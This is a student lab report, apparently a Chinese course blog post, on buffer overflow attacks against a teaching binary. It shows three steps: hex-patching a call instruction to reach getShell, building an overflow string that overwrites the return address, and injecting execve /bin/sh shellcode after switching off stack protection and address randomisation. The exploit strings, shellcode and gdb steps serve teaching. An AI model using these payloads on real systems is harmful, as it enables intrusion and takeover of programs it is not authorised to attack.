当前位置: 首页 > news >正文

20232906 2023-2024-2 《网络与系统攻防技术》第九次作业

20232906 2023-2024-2 《网络与系统攻防技术》第九次作业

1.实验内容

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

本次实验一共使用了三种不同方法进行缓冲区溢出攻击:

  • 利用程序中已有的代码片段getShell,手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的缓冲区溢出漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 利用foo函数的缓冲区溢出漏洞注入一个自己制作的shellcode并运行这段shellcode。

2.实验过程

2.1 直接修改程序机器指令,改变程序执行流程

  1. 首先将pwn1.zip下载解压并放入Kali中,使用命令mv pwn1 pwn20232906将文件名进行修改,如图一所示。


    图一 修改文件名
  2. 利用objdump对pwn20232906进行反汇编,并通过管道转发给more作为输入内容便于查看,对应Linux命令如下所示:

    objdump:是在类Unix操作系统上显示关于目标文件的各种信息的命令行程序。例如,它可用作反汇编器来以汇编代码形式查看可执行文件。它是GNU Binutils的一部分,用于在可执行文件和其他二进制数据上进行精细粒度控制。objdump使用BFD库来读取目标文件的内容。

    objdump -d pwn20232906 | more
    

    如图二所示,通过查看反汇编的结果中main函数的相关部分,我们可以发现main函数调用(call)了foo函数(d7 ff ff ff),而因为有getShell函数的存在,我们便可以直接修改该程序,将调用的地址改为getShell函数的基地址即可改变程序的执行流程。


    图二 反汇编查看pwn20232906中的汇编代码
  3. 为了更改地址到getShell函数,首先我们得先弄清楚原来调用的地址d7 ff ff ff的意义。这里的地址使用了补码,且字节序为小端字节序,改写为我们习惯的大端字节序后地址就是ff ff ff d7,换算后的数值为-29h,其含义为foo函数的首地址距离call指令的下一条指令(即80484ba)的偏移量为-29,相加便可得到foo函数的地址为80484ba+ff ff ff d7=8048491

  4. 这下我们就可以确定如何修改这里的内容了,首先算出getShell的首地址相对程序下一条指令地址80484ba的偏移,即804847d-80484ba=ff ff ff c3,再将其改写为小端字节序可得c3 ff ff ff,所以我们需要将原程序中的d7 ff ff ff修改为c3 ff ff ff即可。

  5. 首先我们下载十六进制dump工具xxd,使用命令如下:

    apt install xxd
    
  6. 为了防止修改过程出现错误,故先将pwn20232906程序进行备份,使用命令:

    cp pwn20232906 pwn20232906-1
    

    然后再进行修改,通过vim打开pwn20232906-1

    vi pwn20232906-1
    

    再输入如下命令将显示模式切换成16进制模式

    :%!xxd
    

    “%!”为调用第三方操作对vim内容进行操作,如 :%!tr a-z A-Z 把全文小写字母改成大写。

    使用如下命令找到对应的数据:

    /d7ff
    

    如图三所示,可以找到对应的数据


    图三 找到程序中的对应数据内容
  7. 修改完毕数据后,首先使用如下命令将数据转换为原格式,然后再保存退出(注意顺序)

    :%!xxd -r
    
  8. 运行经过修改后的pwn20232906-1程序,可得结果如图四所示:


    图四 成功获取Shell

2.2 构造输入字符串覆盖返回地址,改变程序执行流

  1. 在2.1中我们采用了直接修改程序文件的方式获取到了Shell,但如今的程序一般都会采用签名等方式来确保程序的完整性,那么我们可不可以不修改程序文件的内容,直接通过输入特殊的字符串来修改程序的返回地址呢?答案是肯定的。如图五所示,我们再观察一下pwn1程序的汇编代码:


    图五 反汇编查看pwn20232906中的汇编代码
  2. 可以发现,在main函数调用的foo函数中仅仅只给输入的数据分配了28字节(0x1c)的空间,而堆栈的结构大致如图六所示:


图六 堆栈简单结构
  1. 也就是说,只要我们输入足够长,并将输入字符串的第33~36字节填入getShell函数的基地址(0804847d),就可以让程序跳转到getShell函数的地方了。

  2. 为了确认输入的数据应该是按照大端字节序输入还是小端字节序,我们通过命令gdb pwn20232906进入调试模式然后输入1111111122222222333333334444444412345678进行验证,如图七所示:


    图七 缓冲区溢出时寄存器数据
  3. 可以看出,eip寄存器中的值即为“4321”的ASCII码,验证了上文中的分析,这也说明我们应当使用小端字节序输入getShell函数的首地址,即7d 84 04 08

  4. 由于我们无法直接输入二进制数据,我们需要借助perl语言先生成一个包含getShell函数首地址的文件,然后通过管道让文件的内容成为pwn1的输入,使用命令如下:

    perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
    # \x0a代表回车,如果没有则需要手动敲一下回车来结束输入
    (cat input; cat) | ./pwn20232906
    # 通过管道让input文件中的内容成为pwn20232906的输入
    
  5. 这时我们发现我们已经成功地获得了Shell,如图八所示:


    图八 成功获取Shell

2.3 注入Shellcode并执行

  1. 前两种方法能够成功的一个前提——程序中本来就含有getShell函数,但我们一般编程的时候是不会主动去为攻击者编写这样的函数。那么对于一个普通的程序来说,使用注入Shellcode的方法才能够让这个程序去执行我们想要的功能。

    Shellcode就是一段机器指令(code),通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。

    在实际的应用中,凡是用来注入的机器指令段都通称为Shellcode,像添加一个用户、运行一条指令。

  2. 首先我们需要下载Execstack,可以通过链接http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb进行下载,下载后找到文件位置使用命令dpkg -i execstack_0.0.20131005-1+b10_amd64.deb即可完成安装。

  3. 在正式开始之前,我们需要对操作系统和程序进行一些设置便于找到我们注入的数据的地址,命令如下:

    execstack -s pwn20232906    //设置堆栈可执行
    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    
  4. Linux下有两种基本构造攻击buf的方法:

    • retaddr+nop+shellcode
    • nop+shellcode+retaddr

    这样构造是因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。

    简单来说如果缓冲区小就把shellcode放后边,如果缓冲区大就把shellcode放前边

    nop的作用一是为了当作填充数据;二是作为“着陆区/滑行区”,这样可以减小我们猜测返回地址的难度,使我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode

    本次实验我们构造的结构为:anything+retaddr+nops+shellcode,其中shellcode的内容如下:

    \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
    

    使用如下命令构建字符串并保存到input_shellcode中,其中前四字节还不确定,使用12 34h填充。

    perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
    
  5. 接下来我们来确定\x4\x3\x2\x1到底该填什么。打开一个终端注入这段字符串:

    (cat input_shellcode;cat) | ./pwn20232906
    
  6. 再打开另一个终端,首先使用命令找到pwn1的进程号

    ps -ef | grep pwn20232906
    # 这里我返回了如下信息
    # root       67761   66720  0 20:29 pts/0    00:00:00 ./pwn20232906
    # root       67906   67798  0 20:29 pts/1    00:00:00 grep --color=auto pwn20232906
    

    再使用gdb调试该进程

    gdb
    (gdb) attach [pid]
    # 根据上面查找进程号的结果,这里pid应该填67761
    

    然后反汇编foo函数,查看返回指令(ret)的地址

    (gdb) disassemble foo
    # 这里我返回了如下信息
    # Dump of assembler code for function foo:
    # 0x08048491 <+0>:     push   %ebp
    # 0x08048492 <+1>:     mov    %esp,%ebp
    # 0x08048494 <+3>:     sub    $0x38,%esp
    # 0x08048497 <+6>:     lea    -0x1c(%ebp),%eax
    # 0x0804849a <+9>:     mov    %eax,(%esp)
    # 0x0804849d <+12>:    call   0x8048330 <gets@plt>
    # 0x080484a2 <+17>:    lea    -0x1c(%ebp),%eax
    # 0x080484a5 <+20>:    mov    %eax,(%esp)
    # 0x080484a8 <+23>:    call   0x8048340 <puts@plt>
    # 0x080484ad <+28>:    leave
    # 0x080484ae <+29>:    ret
    # End of assembler dump.
    

    在返回指令的地址处设置断点,之后在另外一个终端中按下回车,然后再使用c使程序继续运行

    break *<address>
    # 根据上面的结果,这里的<address>应该改为0x080484ae
    # 在运行程序的终端按下回车
    (gdb) c
    

    待程序运行到断点处,查看此时的esp寄存器的值,获得我们注入的字符串的地址

    (gdb) info r esp
    # 这里我返回了如下信息
    # esp            0xffffd02c          0xffffd02c
    

    我们使用如下指令查看该地址附近的数据

    (gdb) x/16x 0xffffd02c
    # 0xffffd02c:     0x04030201      0x90909090      0xc0319090      0x2f2f6850
    # 0xffffd03c:     0x2f686873      0x896e6962      0x895350e3      0xb0d231e1
    # 0xffffd04c:     0x0080cd0b      0x00333231      0x080484af      0x00000001
    # 0xffffd05c:     0xffffd0f4      0xf7e1dff4      0x080484d0      0xf7ffcba0(gdb) x/16x 0xffffcfec
    # 0xffffcfec:     0x080484ad      0xffffd00c      0x0000000c      0x00000000
    # 0xffffcffc:     0x00000000      0x00000000      0x00000000      0x00000013
    # 0xffffd00c:     0x41414141      0x41414141      0x41414141      0x41414141
    # 0xffffd01c:     0x41414141      0x41414141      0x41414141      0x41414141
    

    从0xffffd02c开始观察,可以发现数据采用小端字节序,并且将返回地址改为ff ff d0 30就可以让程序执行Shellcode,这样一来\x1\x2\x3\x4就应该修改为\x30\xd0\xff\xff,于是我们便重新利用perl语言,将返回地址修改正确,并在最后加上回车(0x0a),然后重新运行程序。

    perl -e 'print "A" x 32;print "\x30\xd0\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode
    (cat input_shellcode;cat) | ./pwn20232906
    
  7. 这时我们发现我们已经成功地获得了Shell,如图九所示:


    图九 成功获取Shell

3.问题及解决方案

  • 问题1:在2.3时,使用命令execstack操作系统提示——无法定位软件包 execstack

  • 问题1解决方案:通过百度搜索,我找到了execstack的官方网站并成功找到了execstack的安装包,由于kali是Debian的发行版,所以选择了Debian版本的进行下载,具体下载地址见下面的链接。进入链接后在Download处即可找到资源的下载链接。

    https://debian.pkgs.org/10/debian-main-amd64/execstack_0.0.20131005-1+b10_amd64.deb.html

    下载到本地后,使用apt的命令即可完成安装

    apt install ./execstack_0.0.20131005-1+b10_amd64.deb
    
  • 问题2:在2.3中,获取地址后修改字符串的数据然后重新执行发现依旧不成功

  • 问题2解决方案:使用gdb进行调试,发现了每一次esp中的地址都不相同,结合实验指导书的相关内容,发现是没有关闭地址随机化,使用相应命令关闭地址随机化即可。

    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    

4.学习感悟、思考等

本次实验进行的是缓冲区溢出攻击,通过动手实践的方式我弄懂了缓冲区溢出的基本原理和常用的方法以及可执行程序的分析方法。在本次实验中,经过王老师的讲解和刘老师的博客,我成功地入门了缓冲区溢出这一个我曾以为困难重重的课题。同时,此次实验也使我对于二进制文件有了初步的了解,拿到了二进制文件,我也不再会不知所措,而是可以通过工具对其进行一定的分析,可以说收获颇多。

本次实验也暴露出了我在某些方面还有所欠缺,例如对于汇编语言的了解还不够深入,很多命令还需要老师的点拨才能够明白它的功能;本次实验中的Shellcode是老师直接提供给我的,是只针对于获得Shell这个功能的。如果要实现其他的功能,编写自己的Shellcode,还需要我对于Shellcode的相关知识认真学习;本次实验对于地址随机化和堆栈保护都进行了关闭,那么在地址随机化和堆栈保护开启的时候如何进行缓冲区溢出攻击也值得我深入思考。只有这样我才能够在此次实验的基础上取得更大的进步。

最后,感谢王老师和刘老师的细心讲解和耐心帮助,也感谢在实验过程中给我帮助的同学们。正因为有你们的帮助我才能够顺利地完成本次实验,谢谢!

参考资料

  • 0x11_MAL 逆向与Bof基础 - wildlinux
  • execstack_0.0.20131005-1+b10_amd64.deb

相关文章:

20232906 2023-2024-2 《网络与系统攻防技术》第九次作业

20232906 2023-2024-2 《网络与系统攻防技术》第九次作业 1.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件。 该程序正常执行流程是&#xff1a;main调用foo函数,foo函数会简单回显任何用户输入的字符串。 该程序同时包含另一个代码片段&#xff0c;getShell&am…...

常见的十二种软件架构

常用的软件架构有多种&#xff0c;以下是一些主要的软件架构风格&#xff1a; 单体架构&#xff08;Monolithic Architecture&#xff09;&#xff1a; 描述&#xff1a;所有功能都集中在一个应用或系统中&#xff0c;易于开发和部署&#xff0c;但随着系统增长&#xff0c;可能…...

数据库出现死锁的解决方法参考

死锁引起的原因一般是多个用户并发访问数据库导致的问题&#xff0c;或是因为某个进程挂死以后资源未释放导致的。通过onstat –p可查看deadlks项大于0即表示历史总计死锁次数。对于被锁的表进行操作的时候会出现-143 ISAM error: deadlock detected的错误。当其他会话访问此表…...

HCIP-Datacom-ARST自选题库_01_防火墙【6道题】

一、单选题 1.在防火墙域间安全策略中&#xff0c;请问以下哪一项的数据流不是Outbound方向的? 从Trust区域到DMZ区域的数据流 从Trust区域到Untrust区域的数据流 从Trust区域到Local区域的数据流 从DMZ区域到Untrust区域的数据流 2.如果防火墙域间没有配置安全策路&…...

力扣/leetcode383.比特位记数

题目描述 给你一个整数 n &#xff0c;对于 0 < i < n 中的每个 i &#xff0c;计算其二进制表示中 1 的个数 &#xff0c;返回一个长度为 n 1 的数组 ans 作为答案。 示例 代码思路 第一种方法 最简单的方法就是&#xff0c;遍历然后使用python自带的bin()方法直接…...

react18【系列实用教程】useEffect —— 副作用操作 (2024最新版)

什么是副作用操作&#xff1f; useEffect 用于编写由渲染本身引起的对接组件外部的操作&#xff08;官方称呼为&#xff1a;副作用操作&#xff09; 以下情况会触发页面渲染 初次加载页面&#xff08;组的挂载&#xff09;响应式变量发生变化&#xff0c;触发页面根据新值重新…...

Excel 分组汇总后删除明细

有 Excel 数据如下所示&#xff1a; IDCriteria1Criteria2Criteria3Criteria4101210271239312381236123171826182918239182120182147 需要按 ID 分组汇总其余列&#xff0c;结果如下&#xff1a; IDCriteria1Criteria2Criteria3Criteria410121027123932561826939267 解法及简…...

docker runc升级1.1.12

上传runc-1.1.12制品至中控机 874e970eaa932a97de9888344ae08f24 runc.arm64 将所有节点的runc文件备份 所有节点(包括master+node) vim host [all] 10.1.0.183 ansible_password=Bigdata@Ksyun123 ansible_user=root ansible_port=22 10.1.0.249 ansible_password=Bigdata…...

C++接口:构建模块化与可扩展的软件架构

目录标题 1. 接口的定义与作用2. 抽象类作为接口3. 接口的设计原则4. 示例&#xff1a;使用接口实现多态5. 拓展&#xff1a;接口和类的区别6. 结论 在C编程中&#xff0c;接口是一种重要的设计模式&#xff0c;它定义了一组方法&#xff0c;这些方法可以被不同的类实现。接口在…...

【讲解下目标追踪】

&#x1f308;个人主页: 程序员不想敲代码啊 &#x1f3c6;CSDN优质创作者&#xff0c;CSDN实力新星&#xff0c;CSDN博客专家 &#x1f44d;点赞⭐评论⭐收藏 &#x1f91d;希望本文对您有所裨益&#xff0c;如有不足之处&#xff0c;欢迎在评论区提出指正&#xff0c;让我们共…...

实时Linux对EtherCAT工业自动化协议的支持

在自动化技术和工业控制领域&#xff0c;实时通信网络的重要性不断增长。EtherCAT&#xff08;Ethernet for Control Automation Technology&#xff09;作为一种高效的工业以太网通信协议&#xff0c;因其出色的性能和灵活性而广受欢迎。而实时Linux作为影响最为广泛的开源实时…...

ViLT 浅析

ViLT 浅析 论文链接&#xff1a;ViLT 文章目录 ViLT 浅析创新点网络结构总结 创新点 本文先分析了4种不同类型的Vision-and-Language Pretraining(VLP) 其中每个矩形的高表示相对计算量大小&#xff0c;VE、TE和MI分别是visual embedding、text embedding和modality interact…...

7-117 死亡隧道

小毛驴要回家了,凭借着刚从老毛驴处学到的闪烁魔法,小毛驴信心满满地出发了。这一次它来到了另一条死亡隧道口,但是,小毛驴不知道死亡威胁随时存在,因为它所打算穿过的这条死亡隧道即将于T秒时间后坍塌。 已知小毛驴行走的速度是每秒17米,而小毛驴拥有的闪烁法术可以使它…...

java数据结构与算法(链表归并排序)

前言 链表的归并排序和数组的归并排序类似&#xff0c;只是在操作原有操作数组的基础上对链表进行操作。喜欢的可以试试吧。 实现原理 链表归并排序是一种常见的排序算法&#xff0c;它利用了归并排序的思想来对链表进行排序。与数组不同&#xff0c;链表在归并排序中的主要…...

最新网页版USB转串口芯片CH340中文规格书手册(20240511)

前言 南京沁恒的产品已经很成熟了&#xff0c;完全可替代国外USB转串口产品&#xff0c;不必迷信FT232&#xff0c;CP2102之类了。 另外&#xff0c;急着买芯片&#xff0c;直接跑过去的&#xff0c;看过几次妹子了:) CH340手册&#xff0c;基于网页3.3版本&#xff0c;规格书…...

关于 MongoDB 数据库基本操作的详细介绍

MongoDB 是一个基于分布式文件存储的数据库&#xff0c;其设计旨在提供高性能、可扩展性和易用性。以下是关于 MongoDB 数据库基本操作的详细介绍 一、MongoDB 简介 MongoDB 是一个面向文档的数据库&#xff0c;其数据存储在类似 JSON 的 BSON&#xff08;Binary JSON&#x…...

【网络基础】网络层 之 IP协议与分片、网段划分、IP地址分类、子网掩码与路由

文章目录 网络层1. IP协议段格式1.1 分片1.2 *为什么存在分片 / 分片是什么 ?*1.3 *如何理解 / 实现 分片与组装*1.4 深入具体&#xff1a;分片 和 组装 的过程1.5 为什么不推荐 分片 2. 网段划分2.1 举例&#xff1a;国际间通信 && 国家内通信2.2 理解网段划分 3. IP…...

C语言实现猜数字小游戏

1.随机数生成 要想实现猜数字小游戏&#xff0c;依赖于随机数的生成 1.1 rand()函数 这个函数是用来生成随机数的&#xff0c;返回值是正整数&#xff0c;他的值的范围是0到rand_max之间的&#xff0c;rand_max的值在大多数编译器上面是32767&#xff0c;rand()函数的使用必…...

iOS Failed to create provisioning profile.

错误描述 错误情况参考这张图 解决方案 修改Bundle Identifier就可以解决这个错误&#xff0c;找不到位置可以看图 &#xff08;具体解决的原理与证书有关&#xff0c;个人不是非常熟悉&#xff0c;还望大神告知&#xff09;...

122. Kafka问题与解决实践

文章目录 前言顺序问题1. 为什么要保证消息的顺序&#xff1f;2.如何保证消息顺序&#xff1f;3.出现意外4.解决过程 消息积压1. 消息体过大2. 路由规则不合理3. 批量操作引起的连锁反应4. 表过大 主键冲突数据库主从延迟重复消费多环境消费问题后记 前言 假如有家公司是做餐饮…...

XML Group端口详解

在XML数据映射过程中&#xff0c;经常需要对数据进行分组聚合操作。例如&#xff0c;当处理包含多个物料明细的XML文件时&#xff0c;可能需要将相同物料号的明细归为一组&#xff0c;或对相同物料号的数量进行求和计算。传统实现方式通常需要编写脚本代码&#xff0c;增加了开…...

逻辑回归:给不确定性划界的分类大师

想象你是一名医生。面对患者的检查报告&#xff08;肿瘤大小、血液指标&#xff09;&#xff0c;你需要做出一个**决定性判断**&#xff1a;恶性还是良性&#xff1f;这种“非黑即白”的抉择&#xff0c;正是**逻辑回归&#xff08;Logistic Regression&#xff09;** 的战场&a…...

线程同步:确保多线程程序的安全与高效!

全文目录&#xff1a; 开篇语前序前言第一部分&#xff1a;线程同步的概念与问题1.1 线程同步的概念1.2 线程同步的问题1.3 线程同步的解决方案 第二部分&#xff1a;synchronized关键字的使用2.1 使用 synchronized修饰方法2.2 使用 synchronized修饰代码块 第三部分&#xff…...

【位运算】消失的两个数字(hard)

消失的两个数字&#xff08;hard&#xff09; 题⽬描述&#xff1a;解法&#xff08;位运算&#xff09;&#xff1a;Java 算法代码&#xff1a;更简便代码 题⽬链接&#xff1a;⾯试题 17.19. 消失的两个数字 题⽬描述&#xff1a; 给定⼀个数组&#xff0c;包含从 1 到 N 所有…...

Leetcode 3577. Count the Number of Computer Unlocking Permutations

Leetcode 3577. Count the Number of Computer Unlocking Permutations 1. 解题思路2. 代码实现 题目链接&#xff1a;3577. Count the Number of Computer Unlocking Permutations 1. 解题思路 这一题其实就是一个脑筋急转弯&#xff0c;要想要能够将所有的电脑解锁&#x…...

oracle与MySQL数据库之间数据同步的技术要点

Oracle与MySQL数据库之间的数据同步是一个涉及多个技术要点的复杂任务。由于Oracle和MySQL的架构差异&#xff0c;它们的数据同步要求既要保持数据的准确性和一致性&#xff0c;又要处理好性能问题。以下是一些主要的技术要点&#xff1a; 数据结构差异 数据类型差异&#xff…...

WEB3全栈开发——面试专业技能点P2智能合约开发(Solidity)

一、Solidity合约开发 下面是 Solidity 合约开发 的概念、代码示例及讲解&#xff0c;适合用作学习或写简历项目背景说明。 &#x1f9e0; 一、概念简介&#xff1a;Solidity 合约开发 Solidity 是一种专门为 以太坊&#xff08;Ethereum&#xff09;平台编写智能合约的高级编…...

虚拟电厂发展三大趋势:市场化、技术主导、车网互联

市场化&#xff1a;从政策驱动到多元盈利 政策全面赋能 2025年4月&#xff0c;国家发改委、能源局发布《关于加快推进虚拟电厂发展的指导意见》&#xff0c;首次明确虚拟电厂为“独立市场主体”&#xff0c;提出硬性目标&#xff1a;2027年全国调节能力≥2000万千瓦&#xff0…...

作为测试我们应该关注redis哪些方面

1、功能测试 数据结构操作&#xff1a;验证字符串、列表、哈希、集合和有序的基本操作是否正确 持久化&#xff1a;测试aof和aof持久化机制&#xff0c;确保数据在开启后正确恢复。 事务&#xff1a;检查事务的原子性和回滚机制。 发布订阅&#xff1a;确保消息正确传递。 2、性…...

Proxmox Mail Gateway安装指南:从零开始配置高效邮件过滤系统

&#x1f49d;&#x1f49d;&#x1f49d;欢迎莅临我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐&#xff1a;「storms…...